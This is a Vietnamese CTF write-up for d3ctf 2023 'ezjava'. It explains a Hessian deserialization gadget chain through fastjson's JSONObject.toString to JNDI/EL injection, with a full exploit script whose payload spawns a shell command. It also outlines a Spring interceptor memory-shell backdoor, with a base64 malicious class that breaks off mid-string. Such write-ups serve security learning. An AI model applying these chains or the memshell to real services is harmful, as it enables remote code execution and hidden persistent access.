ezjava writeup - d3ctf

Source: https://github.com/to016/CTFs/tree/main/2023/d3ctf/ezjava

Gồm 2 services registry (public) và server (internal)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

flag được lưu bên phía server

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Cả 2 đều được build dựa trên spring framework

Registry exploit

Về phần registry ta thấy có định nghĩa về controller cũng như các "serializer"

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

MainController.java

package com.example.registry.controller;

import com.alibaba.fastjson2.JSON;
import com.example.registry.data.Blacklist;
import com.example.registry.data.Result;
import com.example.registry.util.DefaultSerializer;
import com.example.registry.util.HessianSerializer;
import com.example.registry.util.Request;
import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.tags.Tag;
import java.util.Base64;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;

@Tag(
    name = "Registry Controller"
)
@RestController
public class MainController {
    public MainController() {
    }

    @Operation(
        description = "hello for all"
    )
    @GetMapping({"/"})
    public String hello() {
        return "hello";
    }

    @Operation(
        description = "registry will request client '/status' to get client status."
    )
    @GetMapping({"/client/status"})
    public Result clientStatus() {
        try {
            String json = Request.get("http://server:8080/status");
            return (Result)JSON.parseObject(json, Result.class);
        } catch (Exception var2) {
            return Result.of("500", "client is down");
        }
    }

    @Operation(
        description = "return serialized blacklist for client. Client will require blacklist every 10 sec."
    )
    @GetMapping({"/blacklist/jdk/get"})
    public Result getBlacklist() {
        String data = "";
        String code = "200";

        try {
            data = DefaultSerializer.serialize(Blacklist.readBlackList("security/jdk_blacklist.txt"));
        } catch (Exception var4) {
            data = var4.getMessage();
            code = "500";
        }

        return Result.of("200", data);
    }

    @Operation(
        description = "get serialized blacklist for registry"
    )
    @GetMapping({"/blacklist/hessian/get"})
    public Result getHessianBlacklist() {
        String data = "";
        String code = "200";

        try {
            data = DefaultSerializer.serialize(Blacklist.hessianBlackList);
        } catch (Exception var4) {
            data = var4.getMessage();
            code = "500";
        }

        return Result.of("200", data);
    }

    @Operation(
        description = "deserialize base64Str using hessian"
    )
    @PostMapping({"/hessian/deserialize"})
    public Result deserialize(String base64Str) {
        String data = "";
        String code = "200";

        try {
            byte[] serialized = Base64.getDecoder().decode(base64Str);
            HessianSerializer.deserialize(serialized);
            data = "deserialize success";
        } catch (Exception var5) {
            data = "error: " + var5.getMessage();
            code = "500";
        }

        return Result.of(code, data);
    }
}

Tổng quan về các endpoint:

  • / - trả về "hello"
  • /client/status - gửi request đến http://server:8080/status và trả về response tương ứng.
  • /blacklist/jdk/get - đọc "security/jdk_blacklist.txt" sau đó đưa dữ liệu vào một List và trả về dạng serialize đã được base64 encode của nó.

DefaultSerializer sử dụng ObjectInputStream cho việc serialize

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • /blacklist/hessian/get - tương tự như endpoint vừa đề cập ở trên nhưng đọc từ "security/hessian_blacklist.txt".
  • /hessian/deserialize - deserialize data từ POST param base64Str -> Insecure deserialization

HessianSerializer sử dụng SOFA-Hessian - ở version này cung cấp thêm cơ chế filtering các class được deserialize thông qua ClassNameResolver.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

hessian_blacklist.txt bao gồm các blacklisted class, thường được dùng trong các chain của hessian

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Bên cạnh đó, cả registry và server đều build dựa trên spring, việc chuyển đổi từ json object sang string và ngược lại được hỗ trợ bởi thư viện fastjson

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Hessian deserialization

Về serialization/deserialization mechanism

Trong Java, quá trình serialization thực hiện chuyển đổi java object sang dạng byte stream để truyền hoặc lưu trữ. Mặt khác, quá trình deserialization được dùng để khôi phục lại object từ chuỗi bytes. Cơ chế serialization/deserialization có thể được chia ra thành 2 loại

  • Bean attribute access mechanism
  • Field mechanism

Sự khác biệt cơ bản nhất giữa chúng nằm ở cách set attribute cho object. Đối với "Bean attribute access mechanism", thực hiện gọi các getter và setter method để truy cập đến object properties dựa trên reflection. Việc tự động gọi đến các method trên một object sẽ khiến cho attack surface của cơ chế này lớn hơn so với "Field-based mechanism".

Deserialization dựa trên Field mechanism thực hiện gán giá trị cho Field thông qua các native method, thay vì các setter và getter. Attack surface của cơ chế này không rộng như cái đã đề cập trước đó nhưng vẫn có thể lợi dụng để khai thác.

Đối với các kiểu collections nói riêng hay các loại khác nói chung không thể transmitted/stored runtime representation của object (ví dụ như Map lưu thông tin về hashcode của object tại runtime nhưng lại không thực hiện quá trình này khi storing). Điều đó có nghĩa là các field based marshallers sẽ có một converters riêng cho từng type. Các converters này thường sẽ phải invoke method trên object (attacker-provided object), mục đích của việc này là để khôi phục lại đúng hiện trạng của object ban đầu.

Chẳng hạn như trong Hessian, nếu Map type được deserialized, MapDeserializer sẽ đảm nhiệm việc xử lí Map object. Trong khoảng thời gian đó, method put() của map sẽ được gọi để tính toán hash của recovered object và dẫn đến hashcode() call. Tùy vào từng tình huống mà có thể dẫn đến việc phát sinh thêm các method calls khác.

Quay trở lại bài ctf này, việc sử dụng hessian để deseri bất kì dữ liệu gì nhận từ POST request có thể lợi dụng để trigger các method như hashCode(), equals(), toString(). Về hessian, trong quá khứ đã có sẵn một vài gadget, SpringPartiallyComparableAdvisorHolder là một trong số đó nhưng không thể bê y nguyên payload đã có sẵn để áp dụng vào bài này bởi vì một vài class trong chain đã bị blasklist.

Ý tưởng ở đây vẫn dựa trên SpringPartiallyComparableAdvisorHolder, nhưng sẽ đi tìm các class để thay thế và mục tiêu là trigger JSONObject.toString() (tại sao thì ở phần sau mình sẽ giải thích)

SpringPartiallyComparableAdvisorHolder chain:

String jndiUrl = "ldap://localhost:1389/obj";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);

//BeanFactoryAspectInstanceFactory.getOrder is called when deserializing,it Will trigger the call SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

//AspectJAroundAdvice.getOrder is called when deserializing,it will trigger the call BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl);

//AspectJPointcutAdvisor.getOrder is called when deserializing, it will trigger the call AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

//PartiallyComparableAdvisorHolder.toString is called when deserializing, it will trigger the call AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);

//Xstring.equals is called when deserializing, it will trigger the call PartiallyComparableAdvisorHolder.toString
Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);

//HotSwappableTargetSource.equals is called when deserializing, it will trigger the call Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));

//HashMap.putVal is called when deserializing, it will trigger the call HotSwappableTargetSource.equals. There is no direct use of the HashMap.put setting value. Direct put will trigger the utilization chain locally, so using marshalsec uses a more special processing method.
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
    nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
    nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);

MapDeserializer.readMap() được gọi khi deseri Map type và trigger Map.put()

Gọi đến HashMap.put()

với method hash() thực chất là gọi đến key.hashCode()

Do đó, class HotSwappableTargetSource được sử dụng vì method hashCode() của nó trả về một giá trị cố định

Tiếp tục F7, equals() method tại HashMap.putVal() sẽ được trigger tại lần put() thứ hai. Bởi lẽ p.hash == hashp.key != key

Trong chain gốc, XString được dùng để trigger method toString() của PartiallyComparableAdvisorHolder và cuối cùng dẫn đến jndi injection.

XString.equals(PartiallyComparableAdvisorHolder)
    PartiallyComparableAdvisorHolder.toString()
        AspectJPointcutAdvisor.getOrder()
            AspectJAroundAdvice.getOrder()
                BeanFactoryAspectInstanceFactory.getOrder()
                    SimpleJndiBeanFactory.getType()
                        SimpleJndiBeanFactory.doGetType()
                            SimpleJndiBeanFactory.doGetSingleton()
                                SimpleJndiBeanFactory.lookup()
                                    JndiTemplate.lookup()
                                        Context.lookup()       

Nhưng như đã nói, vì một vài class trong chain đã bị blacklist bao gồm cả XString vì thế sẽ cần phải tìm một con đường khác.

Mình có để ý đến một điểm trong source code đó là ở class Result, kiểu của field message đáng lẽ ra phải là String nhưng thay vào đó lại là Object

package com.example.registry.data;

public class Result {
    private Object message;
    private String code;

    public Result(String code, String message) {
        this.message = message;
        this.code = code;
    }

    public static Result of(String code, String message) {
        return new Result(code, message);
    }

    public Object getMessage() {
        return this.message;
    }

    public void setMessage(String message) {
        this.message = message;
    }

    public String getCode() {
        return this.code;
    }

    public void setCode(String code) {
        this.code = code;
    }

    public boolean equals(Object o) {
        if (this == o) {
            return true;
        } else {
            return o != null && this.getClass() == o.getClass() ? this.toString().equals(o.toString()) : false;
        }
    }

    public String toString() {
        StringBuilder sb = new StringBuilder();
        sb.append(this.code);
        sb.append(this.message);
        return sb.toString();
    }
}

Suy ra có thể lợi dụng class này để trigger method toString() trên object message. Cụ thể là tại method equals(), nếu this.getClass() == o.getClass() thì sẽ call đến o.toString().

Ta sẽ khởi tạo o là một instance của class Result với message là một JSONObject (vì đang cần trigger JSONObject.toString() 😁)

Result result1 = new Result("cccc1", "cccc1");
Result result2 = new Result("cccc2", "cccc2");
Reflections.setFieldValue(result1, "message", jsonObject);

HotSwappableTargetSource v1 = new HotSwappableTargetSource(result1);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(result2);

StringBuilder.append() sẽ gọi đến String.valueOf()

và method toString() sẽ được gọi tại đây

Call stack:

toString:1028, JSONObject (com.alibaba.fastjson)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:43, Result (com.example.registry.data)
equals:36, Result (com.example.registry.data)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:562, SerializerFactory (com.caucho.hessian.io)
readObject:2883, Hessian2Input (com.caucho.hessian.io)
deserialize:61, Main (com.hessian)
main:114, Main (com.hessian)

Rensin chain

Ngoài chain đề cập ở trên thì vẫn còn một chain khác vẫn có thể được dùng để khai thác jndi injection -> Resin

Ý tưởng là trigger method getTargetContext() của ContinuationDirContext

NamingManager.getContext() call NamingManager.getObjectInstance()

và gọi tới NamingManager.getObjectFactoryFromReference()

Cần lưu ý một điều, version jdk của bài là 8u342 > 8u191 vì thế mặc định thuộc tính trustURLCodebase sẽ là false và không thể remote load class.

Nhưng vẫn có thể lợi dụng để load các class từ class path (dòng 146) miễn là implement javax.naming.spi.ObjectFactory và có định nghĩa method getObjectInstance().

-> org.apache.naming.factory.BeanFactory có thể được dùng để invoke setter method và khai thác expression language injection, sử dụng javascript engine trong java để thực thi code.

=> Vậy sẽ cần tìm cách để gọi đến ContinuationDirContext.getTargetContext()

JSONObject toString()

Như đã nói ở trên, fastjson được tích hợp vào ứng dụng để dùng trong việc convert json sang string. Vẫn "trong quá khứ" 😙, người ta lợi dụng JSONObject.toString() để khai thác json deseri, cụ thể là invoke các getter method.

BeanUtils.getters()

  • Lấy ra tất cả các "method không argument" của class hiện tại.

  • Bên cạnh đó vẫn đòi hỏi một vài điều kiện như: methodName phải bắt đầu với "get" và có length > 4

Call stack:

getters:810, BeanUtils (com.alibaba.fastjson2.util)
createObjectWriter:251, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
getObjectWriter:318, ObjectWriterProvider (com.alibaba.fastjson2.writer)
getObjectWriter:507, JSONWriter (com.alibaba.fastjson2)
write:528, ObjectWriterImplMap (com.alibaba.fastjson2.writer)
toJSONString:2388, JSON (com.alibaba.fastjson2)
toString:1028, JSONObject (com.alibaba.fastjson)
valueOf:2994, String (java.lang)
append:136, StringBuilder (java.lang)
toString:50, Result (com.example.registry.data)
equals:43, Result (com.example.registry.data)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:636, HashMap (java.util)
put:613, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:562, SerializerFactory (com.caucho.hessian.io)
readObject:2883, Hessian2Input (com.caucho.hessian.io)
deserialize:34, HessianSerializer (com.example.registry.util)
deserialize:77, MainController (com.example.registry.controller)
...

Tiếp tục debug để quay về ObjectWriterImplMap.write(), lúc này valueWriter bao gồm hai thuộc tính fieldWriter0fieldWriter1 chứa field name và getter method tương ứng.

Call stack đến org.apache.naming.factory.BeanFactory#getObjectInstance()

getObjectInstance:118, BeanFactory (org.apache.naming.factory)
getObjectInstance:332, NamingManager (javax.naming.spi)
getContext:450, NamingManager (javax.naming.spi)
getTargetContext:55, ContinuationContext (javax.naming.spi)
getEnvironment:197, ContinuationContext (javax.naming.spi)
apply:-1, 758686135 (javax.naming.spi.ContinuationDirContext$$Lambda$609)
getFieldValue:36, FieldWriterObjectFunc (com.alibaba.fastjson2.writer)
write:189, FieldWriterObject (com.alibaba.fastjson2.writer)
write:76, ObjectWriter2 (com.alibaba.fastjson2.writer)
write:548, ObjectWriterImplMap (com.alibaba.fastjson2.writer)
...

Script exploit registry

package com.hessian;

import com.alibaba.fastjson.JSONObject;
import com.alipay.hessian.ClassNameResolver;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.HessianOutput;
import com.example.registry.data.Result;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.org.apache.xpath.internal.objects.XStringForFSB;
import io.swagger.v3.core.util.Json;
import org.apache.naming.ResourceRef;
import org.hibernate.metamodel.source.annotations.ReflectionHelper;
import org.springframework.aop.target.HotSwappableTargetSource;
import ysoserial.payloads.util.Reflections;

import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class Main {
    public static <T> byte[] serialize(T o) throws IOException, IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(bao);
        output.getSerializerFactory().setAllowNonSerializable(true);
        output.writeObject(o);
        output.close();
        bao.writeTo(fileOutputStream);

        System.out.println(bao.toString());
        return bao.toByteArray();
    }

    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        Hessian2Input input = new Hessian2Input(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static void main(String[] args) throws Exception {
        Constructor constructor = Class.forName("javax.naming.spi.ContinuationDirContext").getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();

        Reflections.setFieldValue(cpe, "cause", null);
        Reflections.setFieldValue(cpe, "stackTrace", null);

        ResourceRef ref = new ResourceRef(
                "javax.el.ELProcessor",
                null, "", "",
                true,"org.apache.naming.factory.BeanFactory",
                null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','touch /tmp/to016']).start()\")}"));

        cpe.setResolvedObj(ref);
        Reflections.setFieldValue(cpe, "suppressedExceptions", null);
        DirContext ctx = (DirContext) constructor.newInstance(cpe, new Hashtable<>());

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("xxxx", ctx);

        Result result1 = new Result("cccc1", "cccc1");
        Result result2 = new Result("cccc2", "cccc2");

        Reflections.setFieldValue(result1, "message", jsonObject);
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(result1);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(result2);

        HashMap hm = makeMap(v1, v2);


        byte[] s = serialize(hm);
        System.out.println((Result)deserialize(s));
    }
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

Kết quả:


Server exploit

Về phần server, chỉ có một endpoint /status

IndexController.java

package com.example.server.controller;

import com.alibaba.fastjson2.JSON;
import com.example.server.data.Result;
import com.example.server.util.DefaultSerializer;
import com.example.server.util.Request;
import java.net.InetAddress;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
    public static List<String> denyClasses = new ArrayList();
    public static long lastTimestamp = 0L;

    public IndexController() {
    }

    @GetMapping({"/status"})
    public Result status() {
        String msg;
        try {
            long currentTimestamp = System.currentTimeMillis();
            msg = String.format("client %s is online", InetAddress.getLocalHost().getHostName());
            if (currentTimestamp - lastTimestamp > 10000L) {
                this.update();
                lastTimestamp = System.currentTimeMillis();
            }
        } catch (Exception var4) {
            msg = "client is online";
        }

        return Result.of("200", msg);
    }

    public void update() {
        try {
            String registry = "http://registry:8080/blacklist/jdk/get";
            String json = Request.get(registry);
            Result result = (Result)JSON.parseObject(json, Result.class);
            Object msg = result.getMessage();
            if (msg instanceof String) {
                byte[] data = Base64.getDecoder().decode((String)msg);
                denyClasses = (List)DefaultSerializer.deserialize(data, denyClasses);
            } else if (msg instanceof List) {
                denyClasses = (List)msg;
            }
        } catch (Exception var6) {
            var6.printStackTrace();
        }

    }
}

Nhiệm vụ: gửi request đến http://registry:8080/blacklist/jdk/get, sau đó check nếu msg là instance của String -> thực hiện deserialize thông qua DefaultSerializer và update lại denyClasses

DefaultSerializer.deserialize() thực hiện deseri với AntObjectInputStream

Class này định nghĩa lại method resolveClass từ ObjectInputStream và thêm vào cơ chế "look-ahead ObjectInputStream mitigation", với denyClasses lấy từ tham số của hàm.

Tới đây, mình nhận thấy bóng dáng của look-ahead deserialization bypass nhưng các class bị blacklist vẫn khá nhiều nên sau một hồi thử thì mình quyết định không tiếp cận theo hướng này nữa 🥺🏳️🏳️🏳️.

Ý tưởng từ official wu là "tomcat memory horse attack", vì hiện tại ta đã có thể kiểm soát được registry nên có thể add một malicious filter tại /blacklist/jdk/get và lợi dụng update lại denyClasses, cuối cùng là trả về payload để khai thác insecure deserialize bên phía server. Tuy nhiên ở bài viết này mình sẽ dùng một kĩ thuật khác có tên gọi là spring interceptor memory horse.

Spring Interceptor Memory Horse

Về vị trí đặt của Filters và Interceptors:

Filters intercept các requests trước khi chúng đến DispatcherServlet. HandlerInterceptors, mặc khác, intercepts requests giữa DispatcherServlet và Controllers.

Chi tiết về kĩ thuật này mọi người có thể tham khảo tại link sau:

https://www.soughttech.com/front/article/977/viewArticle

Sơ lược về ý tưởng

Call stack đến một interceptor sẽ như sau

preHandle:31, TestInterceptor
applyPreHandle:134, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:956, DispatcherServlet (org.springframework.web.servlet)
doService:895, DispatcherServlet (org.springframework.web.servlet)
processRequest:967, FrameworkServlet (org.springframework.web.servlet)
doGet:858, FrameworkServlet (org.springframework.web.servlet)
service:621, HttpServlet (javax.servlet.http)
service:843, FrameworkServlet (org.springframework.web.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:305, ApplicationFilterChain (org.apache.catalina.core)
doFilter:210, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:472, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:947, AccessLogValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:312, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang

DispatcherServlet.doDispatch() gọi đến getHandler() để lấy giá trị cho mappedHandler

Sau đó gọi đến applyPreHandler()

Tại đây, method preHandle() của các interceptor được gọi đến để intercept request

Cùng xem nơi mà chúng được gán giá trị

org.springframework.web.servlet.DispatcherServlet#getHandler()

Duyệt qua các phần tử trong handlerMappings và call HandlerMapping.getHandler()

Thực chất là gọi đến org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler()

Đi vào method getHandlerExecutionChain(), ta thấy nó duyệt qua các phần tử trong adaptedInterceptors và nếu phần tử đó là một instance của MappedInterceptor -> thực hiện add vào chain.

Vậy idea sẽ là bằng cách nào đó lấy ra được adaptedInterceptors trong org.springframework.web.servlet.handler.AbstractHandlerMapping sau đó thêm malicious interceptor vào là xong.

Dựng một spring application để test, với các controller:

package com.example.springmemshell.controller;

import javassist.CannotCompileException;
import javassist.NotFoundException;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.IOException;

@Controller
public class MainController {

    @RequestMapping(value = {  "/" })
    @ResponseBody
    public String index(){
        return "Hi index!!!";
    }

    @RequestMapping(value = {  "/exp" })
    @ResponseBody
    public String test() {

        String className = "ExploitInterceptor";
        
        // base64 encode of "ExploitInterceptor.class"
        String b64 = "yv66vgAAADQAxAsALQBkCwAtAGULAGYAZwgAaAoAaQBqCABrBwBsCgAHAG0IAG4KAAcAbwoABwBwCABxCAByCwBzAHQLAHMAdQoAdgB3CgB2AHgKAHYAeQoALAB6CgB7AHwIAH0LAH4AfwcAgAgAUAsAFwCBBwCCCABUCgCDAIQKAIUAhgoAhQCHBwCICgAfAIkKAB8AigcAiwkAjACNCACOCgCPAJAIAJEKACIAbQoAHwCSBwCTBwCUCgAqAJUHAJYHAJcBAARudW1zAQABSQEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAUTEV4cGxvaXRJbnRlcmNlcHRvcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHaGFuZGxlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADG1vZGVsQW5kVmlldwEALkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzsBAApFeGNlcHRpb25zAQAQTWV0aG9kUGFyYW1ldGVycwEAD2FmdGVyQ29tcGxldGlvbgEAeShMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9FeGNlcHRpb247KVYBAAJleAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEACXByZUhhbmRsZQEAZChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAARjb2RlAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQANU3RhY2tNYXBUYWJsZQEABjxpbml0PgEAAygpVgEAAWkBAAdjb250ZXh0AQAwTG9yZy9zcHJpbmdmcmFtZXdvcmsvY29udGV4dC9BcHBsaWNhdGlvbkNvbnRleHQ7AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAQExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvQWJzdHJhY3RIYW5kbGVyTWFwcGluZzsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQASZXhwbG9pdEludGVyY2VwdG9yAQABZQEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAClMamF2YS91dGlsL0FycmF5TGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwcAiwcAgAcAggcAmAcAiAcAkwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAAWEBAApTb3VyY2VGaWxlAQAXRXhwbG9pdEludGVyY2VwdG9yLmphdmEMADAAMQwAQQBCBwCZDACaAJsBAAQvZ2VuBwCcDACdAJ4BAKR7ImNvZGUiOiIyMDAiLCJtZXNzYWdlIjoick8wQUJYTnlBQk5xWVhaaExuVjBhV3d1UVhKeVlYbE1hWE4wZUlIU0habkhZWjBEQUFGSkFBUnphWHBsZUhBQUFBQUJkd1FBQUFBQmRBQXBiM0puTG1waWIzTnpMbkJ5YjNoNUxtVnFZaTUgb1lXNWtiR1V1U0c5dFpVaGhibVJzWlVsdGNHeDQifQEAEWphdmEvdXRpbC9TY2FubmVyDABLAGABAAJcQQwAnwCgDAChAJsBAAxDb250ZW50LVR5cGUBAB5hcHBsaWNhdGlvbi9qc29uO2NoYXJzZXQ9VVRGLTgHAKIMAKMApAwApQCmBwCnDACoAGAMAKkATAwAqgBMDABLAEwHAKsMAKwArQEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcArgwArwCwAQAub3JnL3NwcmluZ2ZyYW1ld29yay9jb250ZXh0L0FwcGxpY2F0aW9uQ29udGV4dAwAsQCyAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcHALMMALQAtQcAmAwAtgC3DAC4ALkBABNqYXZhL3V0aWwvQXJyYXlMaXN0DAC6ALsMALgAvAEAEkV4cGxvaXRJbnRlcmNlcHRvcgcAvQwAvgC/AQAeVGVtcEludGVyY2VwdG9yIGhhcyBiZWVuIGFkZGVkBwDADADBAGABAAZibGFibGEMAMIAngEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwASwDDAQAQamF2YS9sYW5nL09iamVjdAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXR